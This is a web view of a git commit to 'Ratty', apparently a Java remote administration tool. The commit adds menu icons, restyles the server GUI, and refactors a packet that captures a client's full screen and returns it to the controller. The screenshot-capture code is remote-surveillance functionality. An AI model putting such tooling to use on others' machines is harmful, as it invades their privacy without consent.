Browse Source

Major changes

Added icons
Played around with the GUI a little
Cleanups
master
Sogomn 9 years ago
parent
commit
50b60ed94b
  1. BIN
      Ratty/res/gui_icon.png
  2. BIN
      Ratty/res/icons.png
  3. 8
      Ratty/src/de/sogomn/rat/Ratty.java
  4. 31
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  5. 13
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

BIN
Ratty/res/gui_icon.png

After

Width: 16  |  Height: 16  |  Size: 162 B

BIN
Ratty/res/icons.png

After

Width: 96  |  Height: 16  |  Size: 427 B

8
Ratty/src/de/sogomn/rat/Ratty.java

@ -26,8 +26,12 @@ public final class Ratty {
final NimbusLookAndFeel nimbus = new NimbusLookAndFeel();
final UIDefaults defaults = nimbus.getDefaults();
defaults.put("control", Color.LIGHT_GRAY);
defaults.put("nimbusBase", Color.GRAY);
defaults.put("control", Color.GRAY);
defaults.put("nimbusBase", Color.BLACK);
defaults.put("text", Color.WHITE);
defaults.put("Table:\"Table.cellRenderer\".background", Color.GRAY);
defaults.put("Table.alternateRowColor", Color.LIGHT_GRAY);
defaults.put("TextField.foreground", Color.BLACK);
try {
UIManager.setLookAndFeel(nimbus);

31
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -20,7 +20,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
private BufferedImage image;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private static final BufferedImage NO_IMAGE = new BufferedImage(10, 10, BufferedImage.TYPE_INT_RGB);
private static final int SCREEN_WIDTH = 800;
private static final int SCREEN_HEIGHT = 600;
@ -82,18 +82,11 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
@Override
protected void executeRequest(final ActiveClient client) {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
type = DATA;
image = takeScreenshot();
try {
final Robot robot = new Robot();
type = DATA;
image = robot.createScreenCapture(screenRect);
} catch (final AWTException ex) {
if (image == null) {
image = NO_IMAGE;
ex.printStackTrace();
}
client.addPacket(this);
@ -119,4 +112,20 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
return image;
}
public static BufferedImage takeScreenshot() {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
return image;
} catch (final AWTException ex) {
ex.printStackTrace();
return null;
}
}
}

13
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -7,6 +7,7 @@ import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
@ -15,6 +16,8 @@ import javax.swing.JTable;
import javax.swing.table.DefaultTableModel;
import de.sogomn.engine.Screen;
import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.ImageUtils;
public final class RattyGui {
@ -40,6 +43,8 @@ public final class RattyGui {
};
private static final int SCREEN_WIDTH = 800;
private static final int SCREEN_HEIGHT = 600;
private static final BufferedImage ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/icons.png", 16, 16).getSprites();
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
@ -62,11 +67,14 @@ public final class RattyGui {
tableModel = (DefaultTableModel)table.getModel();
menu = new JPopupMenu();
for (final String command : ACTION_COMMANDS) {
for (int i = 0; i < ACTION_COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = ACTION_COMMANDS[i];
final JMenuItem item = new JMenuItem(command);
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
item.setActionCommand(command);
item.addActionListener(this::menuItemClicked);
item.setIcon(icon);
menu.add(item);
}
@ -88,10 +96,13 @@ public final class RattyGui {
final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
scrollPane.setBorder(null);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setContentPane(scrollPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setIconImage(ICON);
frame.setVisible(true);
frame.requestFocus();
}

Loading…
Cancel
Save